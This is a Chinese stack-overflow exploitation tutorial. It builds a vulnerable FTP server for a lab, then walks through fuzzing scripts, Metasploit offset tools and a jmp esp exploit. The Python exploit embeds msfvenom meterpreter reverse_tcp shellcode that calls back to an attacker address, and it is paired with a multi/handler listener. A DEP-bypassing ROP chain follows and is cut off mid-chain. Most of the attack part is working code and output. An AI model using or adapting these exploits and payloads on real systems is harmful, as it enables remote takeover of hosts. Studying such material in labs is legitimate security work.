通常情况下栈溢出可能造成的后果有两种,一类是本地提权另一类则是远程执行任意命令,通常C/C++并没有提供智能化检查用户输入是否合法的功能,同时程序编写人员在编写代码时也很难始终检查栈是否会发生溢出,这就给恶意代码的溢出提供了的条件,利用溢出攻击者可以控制程序的执行流,从而控制程序的执行过程并实施恶意行为,本章内容笔者通过自行编写了一个基于网络的FTP服务器,并特意布置了特定的漏洞,通过本章的学习,读者能够掌握漏洞挖掘的具体流程,及利用方式,让读者能够亲自体会漏洞挖掘与利用的神奇魔法。
栈溢出是缓冲区溢出中最为常见的一种攻击手法,其原理是,程序在运行时栈地址是由操作系统来负责维护的,在我们调用函数时,程序会将当前函数的下一条指令的地址压入栈中,而函数执行完毕后,则会通过ret指令从栈地址中弹出压入的返回地址,并将返回地址重新装载到EIP指令指针寄存器中,从而继续运行,然而将这种控制程序执行流程的地址保存到栈中,必然会给栈溢出攻击带来可行性。
通常情况下C语言中提供了一系列的标准函数,这些标准函数如果使用不当则会造成意想不到的后果,例如strcpy()
函数如果读者在编程时没有检查用户输入数据有效性,则将会产生严重的溢出后果,如下提供一种简单的具有漏洞的代码片段,以帮助读者理解漏洞的产生原因及利用技巧,首先读者需要将代码保存为overflow.c
文件;
#include <stdio.h>
#include <string.h>
void geting(char *temp)
{
char name[10];
strcpy(name, temp);
printf("input name = %s \n", name);
printf("input size = %d \n", strlen(name));
}
int main(int argc,char *argv[])
{
geting(argv[1]);
return 0;
}
请自行打开VS编译器中的开发人员命令提示,然后执行cl /Zi /GS- overflow.c
编译并生成可执行文件,参数中的/GS-
就是关闭当前的GS保护。
上述案例就是利用了strcpy()
函数的漏洞从而实现溢出的,程序运行后用户从命令行传入一个参数,该参数的大小是不固定的,传入参数后由内部的geting()
函数接收,并通过strcpy()
函数将临时数据赋值到name
变量中,最后将其打印出来,很明显代码中并没有对用户输入的变量进行长度的限定,而正是因为如此从而导致缓冲区溢出漏洞的产生。
我们开始分析程序,由于overflow.exe
程序需要命令行传参分析,所以读者应该将overflow.exe
程序复制到x64dbg
调试器目录下,并在CMD中执行;
我们需要在命令行界面中来启动调试器,其中第一个参数overflow.exe
就是程序名,第二个参数是传入的命令行参数,我们知道缓冲区长度是10
个字符,为了能够让程序产生溢出,此处输入的数据必须要大于10
个字节,这里我就输入一串lysharkAAAAAAAAABBBB
字符串,如下图所示,当程序被运行时EDX寄存器
指向的则是我们自定义输入的字符串,由于要调用CALL
指令,此处的CALL
指令代表的是geting
函数,所以需要将EDX
字符串压栈存储,而在进入geting
函数之前,CALL指令需要将自身下一条指令压栈存储,但此时由于我们输入的数据大与栈地址所能容纳的最大值,因此在压栈时势必会造成覆盖栈空间的情况产生;
接着我们继续进入到geting
函数的内部,当该函数被执行时首先第一步则是在堆中取出字符串并打印,而当函数调用到Ret
返回时此时程序会在堆栈中取出返回地址填充之EIP
指针中,但此时的早已被AAAA
所覆盖。
我们来看一下当前堆栈中的数据,可以看到在程序调用Ret时,EIP一定会被填充为一串毫无意义的42424242
的内存地址,而当这段连续的A被替换成ShellCode
的反弹地址时则此时将会发生可怕的事情。
至此我们还差一个关键的跳转步骤,上图中的424242
我们需要填充为一个能够跳转到当前堆栈中的跳转指令地址,这类跳板指令可以使用jmp esp
或call esp
指令,因为我们的ShellCode
在堆栈中存储着,为了能执行这段恶意代码,我们需要将42424242
替换为具有Jmp ESP
功能的指令片段,来让其能够跳转到堆栈中。
在x64dbg调试器中此类指令集的搜索很容易实现,读者可通过Ctrl+B
指令调出特征码搜索功能来实现搜索,本例中我们搜索kernelbase.dll
模块,并在其中寻找Jmp ESP
指令集,需要注意的是此类指令集的机器码为FF E4
当然如果是Call ESP
则特征值为FF D4
如果有其它需求读者可自行转换。
为了实现搜索特征码读者需要切换到kernelbase.dll
模块,通过在内存布局中点击.text
节即可完成切换,当然如果其他模块中存在此类特征也是可以使用的,选择此模块是因为此模块中存在。
接着按下Ctrl+B
输入FFE4
特征码,实现搜索功能,如下图所示,其中的三个地址都是可以被利用的跳板;
此时我们以0x7537829C
为例,为了模拟这个流程修改堆栈中的0x42424242
为0x7537829C
则当程序返回时会自动跳转到0x7537829C
地址处;
而0x7537829C
地址为Jmp ESP
指令,也就是指向了当前的内存堆栈地址;
当程序被执行此跳板时,则会跳转到当前堆栈的内存区域,而如果此处是攻击者构造好的一块恶意ShellCode
代码,则将会实现反弹后门的目的,并以此获取主机的完全控制权;
至此一个简单的缓冲区溢出漏洞就分析完毕了,经过分析可知,我们的ShellCode
恶意代码应该这样构建,其形式是:AAAAAAAAAAAAAAAA BBBB NNNNNNN ShellCode
这里的A代表的是正常输入内容,其作用是正好不多不少的填充满这个缓冲区
这里的B代表的是Jmp Esp
的机器指令,该处应该为0x7537829C
这里的N代表Nop
雪橇的填充,一般的20个Nop左右就好
这里的ShellCode
就是我们要执行的恶意代码
由上面的关键点可以总结出最终的输入方式,程序运行后会先跳转到Jmp Esp
并执行该指令,然后Jmp Esp
会跳转到Nop
雪橇的位置,此时程序的执行流会顺着Nop
雪橇滑向ShellCode
恶意代码,当恶意代码被执行则攻击者即可获取到反弹权限。
至此读者可通过上述总结构建出如下所示的漏洞利用代码片段,此时调用overflow.exe
则会实现反弹后门的功能,也就预示着攻击成功了;
import os
os.system(b"overflow.exe
AAAAAAAAAAAAAAAA
\x75\x37\x82\x9c
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\xba\x1a\x77\xba\x2b\xd9\xee\xd9\x74\x24\xf4\x5e\x29\xc9"
)
在前面的简单分析中详细读者已经能够理解缓冲区溢出是如何产生又是如何利用的了,为了演示远程栈溢出攻击的具体手法以及二进制漏洞挖掘与利用的思路,这里笔者编写了FTPServer
远程服务程序,该服务运行后会在本机开启0.0.0.0:9999
端口,读者可以通过netcat
工具远程连接到服务器并可以执行一些基本的命令。
如上图就是运行后的FTP服务器,通过netcat
工具链接服务端的地址nc 192.168.9.118 9999
可以得到一个FTP交互环境,此时可以执行send | hello world
命令,来向服务器发送一段字符串,同时服务器会返回给你Data received successfully
这样的提示信息,如下图所示;
要执行漏洞挖掘第一步则是要从分析数据包开始,这里使用了WireShark
工具,Wireshark 是一款免费的网络分析软件,它可以用于捕获、分析和解释网络通信数据。它可以读取多种网络协议,包括TCP、UDP、HTTP、DNS
等,并将它们以图形化的形式显示出来,从而帮助用户更直观地理解网络流量。Wireshark还支持许多强大的分析功能,如协议分析、流量分析等,它是一个功能强大、易用的网络分析工具。
如果读者使用了Kali
系统,则默认会安装有该工具,请读者打开Kali
菜单栏,并找到嗅探/欺骗
菜单并点击WireShark
则可启动该软件;
当软件被启动后,读者可通过点击页面中的eth0
网卡来实现监控数据包的功能,执行模糊测试的第一步就是要确定发送数据包中包头的格式,通过Wireshark工具监控TCP流,将源地址设置为本机的192.168.9.135
目标地址设置为192.168.9.118
,设置过滤语句,监控并从中得到数据传输的格式信息。
tcp.stream and ip.src_host==192.168.9.135 and ip.dst_host==192.168.9.118
此时读者再次执行send | hello lyshark
并在此时会抓取到一些数据包,通过对数据包的分析与提取最终确定如下内容,内容中则包含了发送到服务端的具体数据格式。
上图中我们可以直观的看出,数据包的格式仅仅是send | hello lyshark
并没有添加任何的特殊符号,更没有加密传输,接下来就是要验证对端是否存在缓冲区溢出了,这里我们需要编写一个模糊测试脚本来对目标服务进行测试,脚本内容如下,该脚本执行后会对目标FTP服务进行发包测试,每次递增1不断尝试。
具体来说,它使用socket
模块创建一个TCP
套接字,然后连接到指定的IP
地址和端口号,发送一系列的缓冲区(payload)
并观察程序的行为。如果程序崩溃或出现异常,则说明发现了漏洞。
下面是代码的主要功能:
# coding:utf-8
import socket,time
def initCount(count,Inc):
buffer = ["A"]
while len(buffer)<=50:
buffer.append("A" * count)
count = count + Inc
return buffer
def Fuzz(addr,port,buffer):
try:
for string in buffer:
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = sock.connect((addr,port))
sock.recv(1024)
command = b'send |/.:/' + string.encode()
sock.send(command)
sock.close()
time.sleep(1)
print('Fuzzing Pass with {} bytes'.format(len(string)))
except Exception:
print('\n This buffer cannot exceed the maximum {} bytes'.format(len(string)))
if __name__ == "__main__":
# initCount 10 说明从0开始递增,每次递增100
buff = initCount(0,100)
Fuzz("192.168.9.118",9999,buff)
上方的代码的构造需要具体分析数据包的形式得到,在漏洞模糊测试中上方代码中间部分的交互需要根据不同程序的交互方式进行修改与调整,这里测试脚本执行后当缓冲区填充为2100bytes
时程序崩溃了,说明该程序的send
函数确实存在缓冲区溢出漏洞,其次该程序缓冲区的大小应在2100-2200
字节以内。
由于模糊测试时程序发生了崩溃现象,我们可知该程序确实存在溢出漏洞,为了能让读者更加深入的理解缓冲区发生的原因和定位技巧,笔者将具体分析其汇编代码的组织形式,这里为了方便演示我将在被攻击主机进行逆向分析。
首先被攻击主机打开x64dbg
将FTP程序载入并运行,接着我们按下Ctrl + G
在recv
函数上下一个断点,因为程序接收用户输入的功能需要使用recv
函数的,所以这里我们直接下断,然后运行程序,在客户端发送数据send | hello lyshark
后会被断下,由于我们将断点下在了ws2_32.dll
模块内,此时需要运行到该模块返回,并跳出该系统模块。
直接回到程序领空,会看到如下图所示的代码片段,这里我们需要在0x0040148D
这个内存地址处下一个F2
断点,然后取消系统领空中recv
上的断点。
通过再次发送send | hello lyshark
程序会被断下,我们单步向下跟进会发现下面的代码片段,这里正是我们的send
函数所执行的区域,此处我们记下这个内存地址0x004017D5
观察反汇编代码可知,0x4017DB
位置处分配了内存长度为BB8
的区域,并直接调用memset
函数完成了内存填充,这里由于没有严格的过滤检查所以会产生缓冲区溢出问题;
为了能够更加明确的确定此处产生问题的根源,我们还需要使用IDA这款静态分析软件,打开IDA Pro
加载程序并按下G键
,来到0x4017DB
内存地址处,如下图所示;
并分析如下代码片段,此处的溢出点为_Function3
函数的内部,在传入参数时将分配的变量3000
个字节的缓冲区,直接传递给了_Function3
函数,此处是犯下的第一个错误,当然如果开发者在_Function3
函数内部进行了补救这个错误也不会致命;
接着我们继续跟进这个call _Function3
函数,会发现子过程内部并没有对接收缓冲区大小进行严格的过滤,强制将3000byte
的数据拷贝到2024byte
的缓冲区中,此时缓冲区就会发生溢出,从而导致堆栈失衡程序崩溃,这和上方的模糊测试脚本得到的结果是差不多的。至此唯的补救机会已经失去了;
为了能够更加精确的计算出缓冲区的具体大小,我们还需使用Metasploit
中集成工具,该工具默认需要一起配合使用,其原理就是利用了随机字符串计算当前字符串距离缓冲区首部的偏移,通过使用唯一字符串法,我们可以快速定位到当前缓冲区的实际大小,要使用Metasploit
的工具需要先配置好环境变量,你可以先执行以下操作,然后再利用pattern_create.rb
生成长度为3000
字节的字符串。
┌──(lyshark㉿kali)-[~]
└─$ cd /usr/share/metasploit-framework/tools/exploit
┌──(lyshark㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ bundle install
┌──(lyshark㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 3000
当读者执行pattern_create.rb
生成模糊测试字符串时,接着读者需要准备要一段可发送这段字符串的Python程序,并将字符串填充至buffer
变量内,构建出如下所示的代码用例;
# coding:utf-8
import socket
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b'send |/.:/'
buffer = b '<字符串填充到这里>'
sock.send(command + buffer)
sock.close()
当读者填充好数据以后,远程主机再次通过x64dbg
附加,并运行如上放所示的攻击脚本,此时调试器会产生一个异常,并且显示当前EIP的位置为0x6F43376F
如下图所示;
接着读者可以通过使用Metasploit
中提供的第二个工具pattern_offset.rb
计算出当前缓冲区的实际大小是2002
接着就可以写出漏洞利用的基础框架,其中的EIP
是一个未知数,我们暂且先用BBBB
来填充,此时的BBBB
所对应的是42424242
┌──(lyshark㉿kali)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 0x6F43376F -l 3000
[*] Exact match at offset 2002
至此读者可根据上述代码案例写出如下所示的Python代码,其中command
为发送数据包所需要的特有格式,buffer
则填充为2002
字节也就是正常缓冲区的长度,接下来则是EIP的位置,此处暂且使用BBBB
代替,最后是NOP雪橇的50个字符长度。
# coding:utf-8
import socket
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/"
buffer = b'A' * 2002
eip = b'BBBB'
nops = b'\x90' * 50
sock.send(command + buffer + eip + nops)
sock.close()
当我们再次执行这个溢出脚本时,对着会发现FTP服务器的EIP指针
已经被替换成了42424242
也就是替换为了BBBB
的机器码格式;
而再看堆栈中的数据,此时也已经被90909090
就是Nop雪橇,以及我们精心构造的数据填充满了;
这说明我们的预测与分析完全正确,此时针对该漏洞的分析工作就结束了;
在上面环节中我们已经确定了填充物的大小,但程序每次运行其栈地址都是随机变化的,这是因为堆栈空间默认是由操作系统调度分配的每次分配都不会一致,在Windows漏洞利用过程中,由于程序的装入和卸载都是动态分配的,所以Windows进程的函数栈帧可能产生移位
,即ShellCode
在内存中的地址是动态变化
的,因此需要Exploit(漏洞利用代码)
在运行时动态定位栈中的ShellCode
地址。
此时我们需要寻找一个跳板,能够动态的定位栈地址的位置,在这里我们使用jmp esp
作为跳板指针,其基本思路是,使用内存中任意一个jmp esp
地址覆盖返回地址,函数返回后被重定向去执行内存中jmp esp
指令,而ESP寄存器指向的地址正好是我们布置好的nop雪橇
的位置,此时EIP执行流就会顺着nop雪橇滑向我们构建好的恶意代码,从而触发我们预先布置好的ShellCode代码。
选择利用模块: 首先通过x64dbg调试器附加FTP程序,然后选择符号菜单,这里可以看到该服务程序加载了非常多的外部DLL库,我们可以随意选择一个动态链接库跳转过去,这里为了通用我就选择 network.dll
这个模块作为演示,模块的选择是随机的,只要模块内部存在 jmp esp
指令或者是能够跳转到nop雪橇位置的任何指令片段均可被利用。
搜索JMP跳板: 接着在调试器的反汇编界面中,按下Ctrl + F
搜索该模块中的jmp esp
指令,因为这个指令地址是固定的,我们就将EIP指针跳转到这里,又因esp寄存器存储着当前的栈地址,所以刚好跳转到我们布置好的nop雪橇的位置上,如下图我们就选择 625011ED
这个代码片段。
至此针对本应用程序的漏洞挖掘与分析就分析完成了,既然所有条件都满足了接下来就是生成漏洞利用代码了,这里我们可以通过MSF提供的msfvenom
命令快速的生成一个32位的有效攻击载荷,并将其与我们得到的内存地址进行组装,需要注意的是此处指定的lhost
是攻击主机的IP地址,此处指定的lport
需要开启一个与9999端口不冲突的端口,并最后生成Python格式的攻击载荷;
┌──(lyshark㉿kali)-[~]
└─$ msfvenom -a x86 --platform Windows \
> -p windows/meterpreter/reverse_tcp -b '\x00' lhost=192.168.9.135 lport=8888 -f python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 1887 bytes
buf = b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
[省略符]
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"
如上所示,既然有了攻击载荷,接下来则是将生成的ShellCode
与Python
攻击脚本相结合,此时读者需要注意host=192.168.9.118
指定的是被攻击主机的IP地址,此处的command
代表的是默认发包是所遵循的发包格式,此处的buffer
代表正常的填充物,此处的EIP
则代表Jmp ESP
的实际跳转地址,此处nops
是NOP雪橇,最后通过command + buffer + eip + nops + buf
将攻击载荷进行组装,即可写出如下所示的完整攻击代码;
# coding:utf-8
import socket
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/" # 发送数据包头
buffer = b'A' * 2002 # 实际缓冲区填充物
eip = b'\xED\x11\x50\x62' # 此处就是EIP跳转地址地址应该反写
nops = b'\x90' * 50 # nop雪橇的位置
buf = b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
buf += b"\x15\x6c\xfe\x8f\xd5\xff\x01\x70\x26\x9f\x88\x95"
buf += b"\x17\x8d\xef\xde\x0a\x01\x7b\xb2\xa6\xea\x29\x27"
buf += b"\x86\x13\xc2\xf0\xa2\xcd\x56\x8c\x1a\x20\xa9\xdd"
buf += b"\x67\x23\x55\x1c\xb4\x83\x64\xef\xc9\xc2\xa1\xb9"
buf += b"\xa4\x2b\x7f\x6d\xcc\xe1\x90\x1a\x90\x39\x90\xcc"
buf += b"\x9e\x01\xea\x69\x60\xf5\x46\x73\xb1\x7e\x1e\x6b"
buf += b"\xba\xd8\xbf\x8a\x6f\x88\x3a\x45\xfb\x14\x74\xa9"
buf += b"\x4d\xef\x42\xde\x4f\x39\x9b\x20\xe3\x04\x13\xad"
buf += b"\xfd\x41\x94\x4e\x88\xb9\xe6\xf3\x8b\x7a\x94\x2f"
buf += b"\x19\x9c\x3e\xbb\xb9\x78\xbe\x68\x5f\x0b\xcc\xc5"
buf += b"\x2b\x53\xd1\xd8\xf8\xe8\xed\x51\xff\x3e\x64\x21"
buf += b"\x24\x9a\x2c\xf1\x45\xbb\x88\x54\x79\xdb\x75\x08"
buf += b"\xdf\x90\x94\x5f\x5f\x59\x67\x60\x3d\xcd\xab\xad"
buf += b"\xbe\x0d\xa4\xa6\xcd\x3f\x6b\x1d\x5a\x73\xe4\xbb"
buf += b"\x9d\x02\xe2\x3b\x71\xac\x63\xc2\x72\xcc\xaa\x01"
buf += b"\x26\x9c\xc4\xa0\x47\x77\x15\x4c\x92\xed\x1f\xda"
buf += b"\xdd\x59\x16\x9d\xb6\x9b\x29\x83\xfe\x12\xcf\x93"
buf += b"\xae\x74\x40\x54\x1f\x34\x30\x3c\x75\xbb\x6f\x5c"
buf += b"\x76\x16\x18\xf7\x99\xce\x70\x60\x03\x4b\x0a\x11"
buf += b"\xcc\x46\x76\x11\x46\x62\x86\xdc\xaf\x07\x94\x09"
buf += b"\xc8\xe7\x64\xca\x7d\xe7\x0e\xce\xd7\xb0\xa6\xcc"
buf += b"\x0e\xf6\x68\x2e\x65\x85\x6f\xd0\xf8\xbf\x04\xe7"
buf += b"\x6e\xff\x72\x08\x7f\xff\x82\x5e\x15\xff\xea\x06"
buf += b"\x4d\xac\x0f\x49\x58\xc1\x83\xdc\x63\xb3\x70\x76"
buf += b"\x0c\x39\xae\xb0\x93\xc2\x85\xc2\xd4\x3c\x5b\xed"
buf += b"\x7c\x54\xa3\xad\x7c\xa4\xc9\x2d\x2d\xcc\x06\x01"
buf += b"\xc2\x3c\xe6\x88\x8b\x54\x6d\x5d\x79\xc5\x72\x74"
buf += b"\xdf\x5b\x72\x7b\xc4\x6c\x09\xf4\xfb\x8d\xee\x1c"
buf += b"\x98\x8e\xee\x20\x9e\xb3\x38\x19\xd4\xf2\xf8\x1e"
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"
sock.send(command + buffer + eip + nops + buf)
sock.close()
最后读者使用Metasploit
框架的命令行界面来配置一个攻击。该代码使用了exploit/multi/handler
模块,该模块是Metasploit
框架中的一个通用攻击模块,用于监听反向连接。代码中set payload
命令来设置攻击的有效载荷,本例中使用的是 windows/meterpreter/reverse_tcp
最后使用set
设置主机IP及PORT端口,最后执行exploit
命令启动侦听器,等待反弹;
┌──(lyshark㉿kali)-[~]
└─$ msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.9.135
msf exploit(multi/handler) > set lport 8888
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.9.135:8888
当一切准备就绪之后我们运行fuck.py
攻击脚本,此时即可得到目标主机的完全控制权,当下目标主机已经沦为肉鸡任人宰割。
上方笔者所演示的就是典型的基于内存的攻击技术,该技术的优势就是几乎很难被发现,100%的利用成功率,内存攻击技术就是利用了软件的安全漏洞,该漏洞的产生表面上是开发人员没有对缓冲区进行合理的检测,但其根本原因是,现代计算机在实现图灵模型时,没有在内存中严格区分数据和指令,这就存在程序的外部输入很有可能被当作指令来执行,当今任何操作系统都很难根除这种设计缺陷(图灵机特性),只能在某种程度上通过引入特殊的技术(DEP保护机制)去阻止黑客的成功利用。
笔者前期提到过,缓冲区溢出的根本原因就是错误的将用户输入的恶意数据当作了指令来执行了从而导致发生溢出,因此微软推出了基于软件实现的DEP保护
机制,其原理就是强制将堆栈
属性设置为NX
不可执行,而在后期AMD也首次推出了基于硬件实现的CPU处理器,从而很大程度上解决了这类溢出事件的发生。
而随着DEP技术的出现,黑客们就研究出了另一种绕过的措施,就是本次所提到的ROP返回导向
编程,在微软系统中有这样的一些函数他们的作用就是可以将堆栈设置为可读可写可执行属性(VirtualProtect)
之所以会出现这些函数是因为,有些开发人员需要在堆栈中执行代码,所以也不可能将这样的功能彻底去掉。
既然无法直接执行堆栈上的代码,但是代码段依然是可以被执行的,我们可以经过调用末尾带有RET
指令的微小片段,而他们会返回到栈,并再次调用令一块片段,以此类推,众多的小片段就可以完成调用VirtualProoect
函数的功能,从而将当前堆栈设置为可执行,这样堆栈中的代码就可以被执行下去。
关于VirtualProoect
函数,该函数用于更改指定内存区域的保护属性。函数的函数原型如下:
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
该函数有四个参数:
返回值为 BOOL 类型,如果函数成功执行,则返回非零值,否则返回零。
需要注意的是:在构建ROP链
的时候,如果RET返回
之前是一个影响堆栈的指令,那么我们就需要在ROP堆栈链
的下方手动填充一些垫片来中和掉POP
等指令对堆栈的影响,因为下一条指令也会从堆栈中取值,如果不中和掉这些无用代码的影响则ROP链
将无法被正常执行,比如如下图这条代码POP ECX
影响了堆栈,如果不是我们所需要调用的参数,那么我们就在他的下面填充一些填充物来中和一下。
但读者应该明白,这里所说的绕过DEP
保护其实并不完善,其实我们并无法绕过,而仅仅只是寻找没有开启DEP保护的模块作为跳板使用,并依附于这些跳板指令构造出能够调用VirtualProtect
函数的指令集,当该指令被调用,则自然DEP保护可以被关闭,在找到模块之前,必须判断哪些模块可以被使用,这里读者是否想到了LyScript
插件中的扫描功能,如下代码将可以帮助读者以最快的速度验证当前进程中是否有我们所需模块;
from LyScript32 import MyDebug
import pefile
if __name__ == "__main__":
# 初始化
dbg = MyDebug()
dbg.connect()
# 得到所有加载过的模块
module_list = dbg.get_all_module()
for module_index in module_list:
# 依次读入程序所载入的模块
byte_array = bytearray()
for index in range(0, 4096):
read_byte = dbg.read_memory_byte(module_index.get("base") + index)
byte_array.append(read_byte)
oPE = pefile.PE(data=byte_array)
# 数据不可执行 DEP => hex(pe.OPTIONAL_HEADER.DllCharacteristics) & 0x100 == 0x100
if ((oPE.OPTIONAL_HEADER.DllCharacteristics & 256) != 256):
print("{:15}\t\t".format(module_index.get("name")), end="")
print("可利用\t\t\t",end="")
print()
dbg.close()
将FTPServer.exe
拖入调试器内,并执行上方脚本,则可输出当前没有开启DEP保护的模块,例如代码中我故意编译进去了network.dll
模块,该模块就没有开启DEP保护,那么就可被利用;
接下来就是构建一条可以实现关闭DEP内存保护的汇编指令集,如下所示则是通过汇编语言调用virtualProtect
的ROP链;
ret
pop eax
0xfffffcdf
add ebp, eax
pop eax
0xfffffdff
neg eax
pop ebx
0xffffffff
inc ebx
add ebx, eax
pop edx
0xffffffc0
neg edx
pop ecx
&writetable
pop edi
ret (rop nop)
pop esi
jmp [eax]
pop eax
ptr to virtualProtect()
jmp esp
读者可通过使用LyScript
插件实现对这些内存地址的枚举搜索,以搜索network.dll
模块为例,读者需要找到模块开始地址0x62501000
以及模块的结束地址0x62501fff - start_address
并通过调用get_disasm_code
反汇编代码片段,通过SearchOpCode()
函数循环搜索ROP指令片段,这段搜索代码如下所示;
from LyScript32 import MyDebug
def SearchOpCode(OpCodeList,SearchCode,ReadByte):
SearchCount = len(SearchCode)
for item in range(0,ReadByte):
count = 0
OpCode_Dic = OpCodeList[ 0 + item : SearchCount + item ]
try:
for x in range(0,SearchCount):
if OpCode_Dic[x].get("opcode") == SearchCode[x]:
count = count + 1
if count == SearchCount:
return OpCode_Dic[0].get("addr")
except Exception:
pass
if __name__ == "__main__":
dbg = MyDebug()
connect_flag = dbg.connect()
# 得到检索地址
start_address = 0x62501000
end_address = 0x62501fff - start_address
disasm_dict = dbg.get_disasm_code(start_address,end_address)
# 快速查找构建漏洞利用代码
SearchCode = [
["ret"],
["pop eax","ret"],
["add ebp,eax","ret"],
["pop eax","ret"],
["neg eax","ret"],
["pop ebx","ret"],
["inc ebx","ret"],
["add ebx,eax", "ret"],
["pop edx", "ret"],
["neg edx", "ret"],
["pop ecx", "ret"],
["ret"],
["pop esi", "ret"],
["jmp [eax]", "ret"],
["pop eax", "ret"],
["jmp esp", "ret"],
]
# 检索内存指令集
for item in range(0,len(SearchCode)):
Search = SearchCode[item]
ret = SearchOpCode(disasm_dict,Search,1000)
if ret != None:
print("指令集: {} --> 首次出现地址: {}".format(SearchCode[item],hex(ret)))
dbg.close()
运行上述插件则可扫描出当前network.dll
模块内所有匹配的内存地址,并输出如下图所示的扫描结果;
接着再扫描一下msvcr71.dll
模块内的ROP指令片段,并输出如下图所示的扫描结果;
需要注意的是,单纯在这两个模块内搜索是无法构建出这段特殊指令集的,读者可自行更换模块对模块批量寻找,此处只是为了演示LyScript
插件的使用细节;
笔者已经将ROP
链构建好了,当然手动构建并不是最好的选择,除了使用LyScript
插件搜外,读者也可以使用mona.py
插件自动化完成这个过程,mona.py
插件是专门用户构建有效载荷的工具,其构建语句是!mona.py rop -m *.dll -cp nonull
这里我就不在罗嗦了,直接给出构建好的ROP指令片段吧;
# coding:utf-8
import socket
import struct
host = "192.168.9.118"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/" # 发送数据包头
buffer = b'A' * 2002 # 实际缓冲区填充物
nops = b'\x90' * 50 # nop雪橇的位置
buf = b""
buf += b"\xda\xd6\xb8\x8e\x0b\x73\x3d\xd9\x74\x24\xf4\x5f"
buf += b"\x2b\xc9\xb1\x59\x31\x47\x19\x83\xc7\x04\x03\x47"
buf += b"\x15\x6c\xfe\x8f\xd5\xff\x01\x70\x26\x9f\x88\x95"
buf += b"\x17\x8d\xef\xde\x0a\x01\x7b\xb2\xa6\xea\x29\x27"
buf += b"\x86\x13\xc2\xf0\xa2\xcd\x56\x8c\x1a\x20\xa9\xdd"
buf += b"\x67\x23\x55\x1c\xb4\x83\x64\xef\xc9\xc2\xa1\xb9"
buf += b"\xa4\x2b\x7f\x6d\xcc\xe1\x90\x1a\x90\x39\x90\xcc"
buf += b"\x9e\x01\xea\x69\x60\xf5\x46\x73\xb1\x7e\x1e\x6b"
buf += b"\xba\xd8\xbf\x8a\x6f\x88\x3a\x45\xfb\x14\x74\xa9"
buf += b"\x4d\xef\x42\xde\x4f\x39\x9b\x20\xe3\x04\x13\xad"
buf += b"\xfd\x41\x94\x4e\x88\xb9\xe6\xf3\x8b\x7a\x94\x2f"
buf += b"\x19\x9c\x3e\xbb\xb9\x78\xbe\x68\x5f\x0b\xcc\xc5"
buf += b"\x2b\x53\xd1\xd8\xf8\xe8\xed\x51\xff\x3e\x64\x21"
buf += b"\x24\x9a\x2c\xf1\x45\xbb\x88\x54\x79\xdb\x75\x08"
buf += b"\xdf\x90\x94\x5f\x5f\x59\x67\x60\x3d\xcd\xab\xad"
buf += b"\xbe\x0d\xa4\xa6\xcd\x3f\x6b\x1d\x5a\x73\xe4\xbb"
buf += b"\x9d\x02\xe2\x3b\x71\xac\x63\xc2\x72\xcc\xaa\x01"
buf += b"\x26\x9c\xc4\xa0\x47\x77\x15\x4c\x92\xed\x1f\xda"
buf += b"\xdd\x59\x16\x9d\xb6\x9b\x29\x83\xfe\x12\xcf\x93"
buf += b"\xae\x74\x40\x54\x1f\x34\x30\x3c\x75\xbb\x6f\x5c"
buf += b"\x76\x16\x18\xf7\x99\xce\x70\x60\x03\x4b\x0a\x11"
buf += b"\xcc\x46\x76\x11\x46\x62\x86\xdc\xaf\x07\x94\x09"
buf += b"\xc8\xe7\x64\xca\x7d\xe7\x0e\xce\xd7\xb0\xa6\xcc"
buf += b"\x0e\xf6\x68\x2e\x65\x85\x6f\xd0\xf8\xbf\x04\xe7"
buf += b"\x6e\xff\x72\x08\x7f\xff\x82\x5e\x15\xff\xea\x06"
buf += b"\x4d\xac\x0f\x49\x58\xc1\x83\xdc\x63\xb3\x70\x76"
buf += b"\x0c\x39\xae\xb0\x93\xc2\x85\xc2\xd4\x3c\x5b\xed"
buf += b"\x7c\x54\xa3\xad\x7c\xa4\xc9\x2d\x2d\xcc\x06\x01"
buf += b"\xc2\x3c\xe6\x88\x8b\x54\x6d\x5d\x79\xc5\x72\x74"
buf += b"\xdf\x5b\x72\x7b\xc4\x6c\x09\xf4\xfb\x8d\xee\x1c"
buf += b"\x98\x8e\xee\x20\x9e\xb3\x38\x19\xd4\xf2\xf8\x1e"
buf += b"\xe7\x41\x5c\x36\x62\xa9\xf2\x48\xa7"
rop = struct.pack ('<L',0x7c349614) # ret
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffcdf) #
rop += struct.pack('<L',0x7c379c10) # add ebp,eax
rop += struct.pack('<L',0x7c34728e) # pop eax
rop += struct.pack('<L',0xfffffdff) # value = 0x201
rop += struct.pack('<L',0x7c353c73) # neg eax
